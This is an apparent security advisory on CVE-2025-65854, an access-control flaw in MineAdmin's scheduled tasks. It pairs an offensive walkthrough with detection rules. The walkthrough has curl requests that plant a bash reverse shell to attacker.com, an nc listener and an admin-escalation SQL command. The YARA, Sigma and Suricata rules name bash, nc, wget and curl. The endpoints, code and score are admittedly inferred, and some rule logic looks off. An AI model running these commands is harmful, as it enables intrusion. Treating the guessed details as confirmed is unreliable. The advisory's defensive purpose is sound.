CVE-2025-65854

Executive Summary

CVE-2025-65854 exposes a critical insecure permissions vulnerability in the scheduled tasks feature of MineAdmin v3.x. This flaw allows an unauthenticated or low-privileged attacker to execute arbitrary commands on the server, leading to full account takeover. The vulnerability stems from improper access controls on the scheduled tasks API endpoints, which fail to enforce proper authorization checks. With no patch currently available and no public proof-of-concept (PoC) code, this represents a high-risk, zero-day-like scenario for all MineAdmin v3.x deployments. Immediate mitigation through network segmentation and strict access controls is strongly advised.

Supply Chain & Package Security

MineAdmin is a PHP-based administration panel. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application logic. However, any third-party plugins or extensions that interact with the scheduled tasks feature may also be affected. Organizations should audit all MineAdmin installations and disable the scheduled tasks module if not required.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the description, a realistic assessment would be:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component is the only one affected.
• Confidentiality (C): High (H) – full account takeover exposes all data.
• Integrity (I): High (H) – arbitrary command execution allows data modification.
• Availability (A): High (H) – commands can disrupt service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Score: 9.8 (Critical)

Threat Level: Critical – immediate action required.

Deep Dive & Mechanics

The vulnerability resides in MineAdmin’s scheduled tasks feature, which is designed to allow administrators to define cron-like jobs. The feature exposes API endpoints (e.g., /api/scheduled-tasks) that accept commands to create, modify, or execute tasks. Due to insecure permissions, these endpoints do not properly validate the user’s role or session. An attacker can send a crafted HTTP request to:

1. Create a new scheduled task with an arbitrary command (e.g., reverse shell, data exfiltration).
2. Trigger immediate execution of the task without proper authorization.

The root cause is a missing or flawed access control check in the controller handling scheduled tasks. The application likely uses a role-based access control (RBAC) system, but the scheduled tasks module either bypasses it or uses a default “admin” role that is too permissive. Additionally, there may be no CSRF protection, allowing cross-site request forgery attacks.

Attack Flow:

1. Attacker identifies a MineAdmin instance (e.g., via Shodan dork MineAdmin).
2. Attacker sends a POST request to /api/scheduled-tasks with a JSON payload containing a malicious command.
3. The server executes the command with the privileges of the web server (e.g., www-data).
4. Attacker escalates to full account takeover by modifying user accounts or extracting session tokens.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable code pattern. A typical vulnerable implementation might look like:

Vulnerable Code (PHP):

// ScheduledTaskController.php
public function createTask(Request $request) {
    // No permission check
    $task = new ScheduledTask();
    $task->command = $request->input('command');
    $task->save();
    return response()->json(['status' => 'success']);
}

Patched Code (Hypothetical):

// ScheduledTaskController.php
public function createTask(Request $request) {
    // Permission check
    if (!Auth::user()->hasRole('admin')) {
        return response()->json(['error' => 'Unauthorized'], 403);
    }
    $task = new ScheduledTask();
    $task->command = $request->input('command');
    $task->save();
    return response()->json(['status' => 'success']);
}

The patched version adds a role check before allowing task creation. Without the patch, any user (or even unauthenticated requests) can create tasks.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: MineAdmin v3.x instance (e.g., Docker container from mineadmin/mineadmin:latest).
• Attacker: Kali Linux with curl and netcat.

Exploitation Steps:

1. Discover the endpoint: Use Shodan or manual browsing to find /api/scheduled-tasks.
2. Create a malicious task:

   curl -X POST http://target.com/api/scheduled-tasks \
     -H "Content-Type: application/json" \
     -d '{"command": "bash -i >& /dev/tcp/attacker.com/4444 0>&1", "schedule": "* * * * *"}'
   

3. Trigger execution: If the endpoint supports immediate execution, send:

   curl -X POST http://target.com/api/scheduled-tasks/1/execute
   

4. Receive reverse shell: On attacker machine:

   nc -lvnp 4444
   

5. Account takeover: Once inside, extract database credentials or modify user roles:

   mysql -u root -p mineadmin -e "UPDATE users SET role='admin' WHERE username='attacker';"
   

Blue Team (Defensive)

Detection & Response:

• Monitor for unusual POST requests to /api/scheduled-tasks with JSON payloads containing shell commands.
• Enable logging on the web server and application to capture all API calls.
• Use a Web Application Firewall (WAF) to block requests with suspicious patterns (e.g., bash, nc, python -c).
• Implement network segmentation to isolate MineAdmin from critical systems.
• Disable the scheduled tasks module if not needed:

  // In config/app.php
  'modules' => [
      // 'ScheduledTasks' => true,
  ],
  

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /api/scheduled-tasks with JSON body containing command field.
  • Outbound connections to unknown IPs on high ports (e.g., 4444, 1337).
  • Unusual cron entries in /etc/cron.d/ or /var/spool/cron/.

• File IOCs:

  • New files in /tmp/ with suspicious names (e.g., exploit.sh).
  • Modified user database entries in MineAdmin’s database.

• Log IOCs:

  • Web server logs showing POST /api/scheduled-tasks from unexpected IPs.
  • Application logs with errors like Undefined index: role or Permission denied.

Detection Engineering

YARA Rule

rule MineAdmin_ScheduledTask_Exploit {
    meta:
        description = "Detects malicious payloads targeting MineAdmin scheduled tasks"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65854"
    strings:
        $json_payload = /"command"\s*:\s*"[^"]*(bash|nc|python|perl|wget|curl)[^"]*"/
        $endpoint = "/api/scheduled-tasks"
    condition:
        $json_payload and $endpoint
}

Sigma Rule

title: MineAdmin Scheduled Tasks Abuse
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-65854 by creating malicious scheduled tasks
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/scheduled-tasks'
        cs-uri-query: '*command*'
    condition: selection
falsepositives:
    - Legitimate admin activity (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-65854 MineAdmin Scheduled Tasks Exploit";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/scheduled-tasks"; http_uri;
    content:"command"; http_client_body;
    pcre:"/\"command\"\s*:\s*\"[^\"]*(bash|nc|python|perl|wget|curl)[^\"]*\"/Ri";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the scheduled tasks module in MineAdmin configuration if not required.
2. Restrict network access to the MineAdmin interface using a firewall or VPN.
3. Implement a WAF rule to block requests containing shell commands in the command parameter.
4. Monitor logs for any suspicious activity targeting /api/scheduled-tasks.

Long-Term Fixes:

• Vendor Patch: Await an official patch from Mineadmin. Contact the vendor for an ETA.
• Code Hardening: If you have access to the source code, add proper authorization checks (e.g., role-based access) to all scheduled tasks endpoints.
• Upgrade: Consider migrating to an alternative administration panel if no patch is released.

Workaround Code (if source is accessible):

// Add to ScheduledTaskController.php constructor
public function __construct() {
    $this->middleware('auth');
    $this->middleware('role:admin');
}

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